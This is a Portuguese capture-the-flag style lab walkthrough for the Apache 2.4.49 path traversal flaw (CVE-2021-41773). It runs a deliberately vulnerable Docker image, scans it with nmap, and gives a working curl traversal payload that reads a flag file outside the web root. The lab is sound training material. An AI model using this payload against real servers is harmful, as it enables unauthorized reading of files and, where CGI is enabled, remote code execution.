
Laboratório prático para explorar a travessia de diretórios no Apache 2.4.49 (CVE-2021-41773) usando Docker, varredura com Nmap e curl para recuperar uma flag.
Foi encontrada uma falha em uma alteração feita na normalização de caminhos no Apache HTTP Server 2.4.49. Um atacante poderia usar um ataque de path traversal para mapear URLs para arquivos fora dos diretórios configurados por diretivas do tipo Alias. Se os arquivos fora desses diretórios não forem protegidos pela configuração padrão usual "require all denied", essas solicitações podem ser bem-sucedidas. Se scripts CGI também estiverem habilitados para esses caminhos com alias, isso pode permitir a execução remota de código. Esse problema afeta apenas o Apache 2.4.49 e não versões anteriores.
Créditos introdutórios para: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
O objetivo do exercício é explorar a vulnerabilidade presente no Apache 2.4.49. Para explorá-la, é necessário usar um "path traversal attack" para mapear arquivos fora das pastas pré-configuradas e criar uma espécie de remote shell.
Para o exercício, é conveniente usar um docker vulnerável ad hoc disponível no docker hub:
Link: https://hub.docker.com/r/m96dg/pw_apache_2_4_49
$docker pull m96dg/pw_apache_2_4_49

Para poder ver as imagens dos dockers baixados:
$docker images
Executar o docker na porta 8080:
$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49
Para verificar se está realmente em execução:
$docker ps

Como se pode ver, o web server está perfeitamente funcional:

Fase de scanning (tentamos coletar o máximo de informações possível do host):
$nmap -sS -p- -T4 -Pn -oA portScan localhost

Fase de enumeration (tentamos aprofundar as informações enumerando as portas encontradas na fase de scanning):
$nmap -sV -sC -oA versionScan localhost

Para poder realizar o ataque, é necessário executar este comando e tentar encontrar a flag (caso esteja inserida na root):
$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt

Para ter certeza de que o exercício foi concluído com sucesso e que a flag é realmente a encontrada, compare a string com sua descriptografia em Md5 ("HaiTrovatoLaFlag_Apache"). Se as duas strings coincidirem, então o jogo está feito!